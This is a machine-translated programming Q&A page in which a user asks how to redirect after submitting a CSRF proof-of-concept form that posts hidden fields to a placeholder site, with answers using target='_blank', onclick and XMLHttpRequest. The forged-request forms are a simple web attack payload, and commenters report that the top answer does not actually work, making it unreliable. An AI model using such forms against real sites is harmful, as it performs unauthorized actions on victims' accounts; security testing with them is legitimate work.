在HTML中提交表单后重定向到页面

Ons*_*Ali 7 html forms post

我是用HTML编码的新手.经过几个小时的互联网搜索方式,我失败了,所以我在这里.我在这里设置了CSRF概念证明页面,我希望它重定向到另一个页面,该页面将执行CSRF已实现的有效负载.

<html>
  <body>
    <form action="https://website.com/action.php?" method="POST">
      <input type="hidden" name="fullname" value="john" />
      <input type="hidden" name="address" value="street 2, 32 ave" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Run Code Online (Sandbox Code Playgroud)

因此,在使用此表单提交后,它所做的只是重定向到此页面

看起来像这样,

但不是那样,我希望它重定向到另一个URL以及提交该表单.

Ons*_*Ali 14

对于其他有同样问题的人,我自己想出来了.

    <html>
      <body>
        <form target="_blank" action="https://website.com/action.php" method="POST">
          <input type="hidden" name="fullname" value="Sam" />
          <input type="hidden" name="city" value="Dubai&#32;" />
          <input onclick="window.location.href = 'https://website.com/my-account';" type="submit" value="Submit request" />
        </form>
      </body>
    </html>
Run Code Online (Sandbox Code Playgroud)

我所要做的就是将target ="_ blank"属性添加到表单内联中以在新页面中打开响应,并使用onclick在提交按钮上重定向另一页面.

  • 是的,这个答案是不正确的。该表单不会将数据提交给 API。 (3认同)
  • @Ons Ali 我确实和你有同样的问题。并试图用你的答案解决我的问题。当我单击按钮时,页面正在重定向。但表单中的数据并未保存在 API 中。你能看到我的吗,这是链接 /sf/ask/4341380291/ (2认同)
  • 不知道为什么这不起作用却被多次投票! (2认同)

Har*_*avi 5

您需要使用 jQuery AJAX 或 XMLHttpRequest() 将数据发布到服务器。发布数据后,您可以通过 将您的页面重定向到另一个页面window.location.href

例子:

 var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      window.location.href = 'https://website.com/my-account';
    }
  };
  xhttp.open("POST", "demo_post.asp", true);
  xhttp.send();
Run Code Online (Sandbox Code Playgroud)